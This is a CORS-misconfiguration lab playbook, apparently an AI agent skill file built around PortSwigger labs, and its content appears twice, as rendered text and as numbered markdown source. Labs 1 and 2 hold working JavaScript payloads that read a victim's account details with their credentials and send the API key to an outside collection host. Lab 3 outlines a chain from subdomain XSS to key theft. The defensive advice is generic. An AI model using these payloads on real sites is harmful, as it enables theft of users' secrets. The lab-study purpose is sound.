CORS Misconfiguration — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Basic origin reflection 🟢 APPRENTICE
<script>
fetch('https://TARGET/accountDetails',{credentials:'include',headers:{'Origin':'https://evil.com'}})
.then(r=>r.json())
.then(d=>fetch('https://COLLAB/?key='+d.apikey));
</script>
Server reflects any Origin in Access-Control-Allow-Origin with credentials: true.
Lab 2: Trusted null origin 🟡 PRACTITIONER
<iframe sandbox="allow-scripts allow-forms" srcdoc="<script>fetch('https://TARGET/accountDetails',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://COLLAB/?'+d.apikey));</script>">
Sandboxed iframe sends Origin: null, which the server trusts.
Lab 3: Trusted insecure protocols 🟡 PRACTITIONER
Find subdomain with XSS over HTTP. CORS trusts *.target.com including HTTP. Chain: subdomain XSS → CORS bypass → steal api key.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept |
Description |
| PortSwigger Vectors |
Standardized approaches to vulnerability classes. |
| Payload Encoding |
Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
1---2name: cors-misconfiguration-complete-deep-dive3description: "Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques"4domain: cybersecurity5subdomain: bug-hunting6version: "1.0.0"7category: "bug-hunting/deep-dive-labs"8tags: [portswigger, deep-dive, exploitation, zero-day, lab-solutions]9mitre_attack: ["T1189"]10tools: [burp-suite, curl, sqlmap, ffuf, python]11difficulty: "advanced"12metadata:13 source: https://skillmd.com/skills/shulkwisec/cors-misconfiguration-complete-deep-dive14---1516# CORS Misconfiguration — Complete Deep Dive1718> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,19> bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert2021## When to Use22- Studying for BSCP (Burp Suite Certified Practitioner) certification23- Testing real-world targets for these vulnerability classes24- Bug bounty hunting — these exact techniques find real bugs25- Building exploitation chains2627## Prerequisites28- Burp Suite Professional (Community works for most)29- Browser with proxy configured30- Burp Collaborator or interactsh for OOB testing313233## Workflow34### Phase 1: Reconnaissance35- Identify input vectors, parameters, and application behavior.36### Phase 2: Exploitation37- Apply standard lab payloads.38### Phase 3: Zero-Day Escalation39- Fuzz filters, bypass WAFs, and chain with other vulns.4041## Lab Playbooks4243### Lab 1: Basic origin reflection 🟢 APPRENTICE44```html45<script>46fetch('https://TARGET/accountDetails',{credentials:'include',headers:{'Origin':'https://evil.com'}})47.then(r=>r.json())48.then(d=>fetch('https://COLLAB/?key='+d.apikey));49</script>50```51Server reflects any Origin in `Access-Control-Allow-Origin` with `credentials: true`.52---5354### Lab 2: Trusted null origin 🟡 PRACTITIONER55```html56<iframe sandbox="allow-scripts allow-forms" srcdoc="<script>fetch('https://TARGET/accountDetails',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://COLLAB/?'+d.apikey));</script>">57```58Sandboxed iframe sends `Origin: null`, which the server trusts.59---6061### Lab 3: Trusted insecure protocols 🟡 PRACTITIONER62Find subdomain with XSS over HTTP. CORS trusts `*.target.com` including HTTP. Chain: subdomain XSS → CORS bypass → steal api key.63---646566## Blue Team Detection67- Monitor access logs for anomalous payloads.68- Implement strict input validation and parameterized queries where applicable.69- Create WAF rules masking generic attack patterns.7071## Zero-Day Research Methodology72When a standard technique doesn't work:731. **Identify the filter**: What chars/patterns are blocked?742. **Research bypasses**: Search GitHub, Twitter, PortSwigger Research for new techniques753. **Fuzz extensively**: Use Burp Intruder with custom charset/tag lists764. **Chain vulnerabilities**: Combine two medium findings into one critical775. **Check encoding layers**: URL, HTML entity, Unicode, double-encode, XML entity787980## Key Concepts81| Concept | Description |82|---------|-------------|83| PortSwigger Vectors | Standardized approaches to vulnerability classes. |84| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |858687## Output Format88```89Vulnerability Deep-Dive Report90==============================91Target Vector: [Endpoint]92Bypass Technique: [Explanation of bypass]93Payload Used: [Payload]94Impact Explanation: [Impact]95```9697## 🔵 Blue Team98- Deploy robust WAF rules to detect anomalies.99- Monitor logs for unusual access patterns.100101## 🛡️ Remediation & Mitigation Strategy102- **Input Validation:** Sanitize and strictly type-check all inputs.103- **Least Privilege:** Constrain component execution bounds.104105106## 📚 Shared Resources107> For cross-cutting methodology applicable to all vulnerability classes, see:108> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns109> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference110> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class111112## References113- [PortSwigger Web Security Academy](https://portswigger.net/web-security)114- [PortSwigger All Labs](https://portswigger.net/web-security/all-labs)115- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)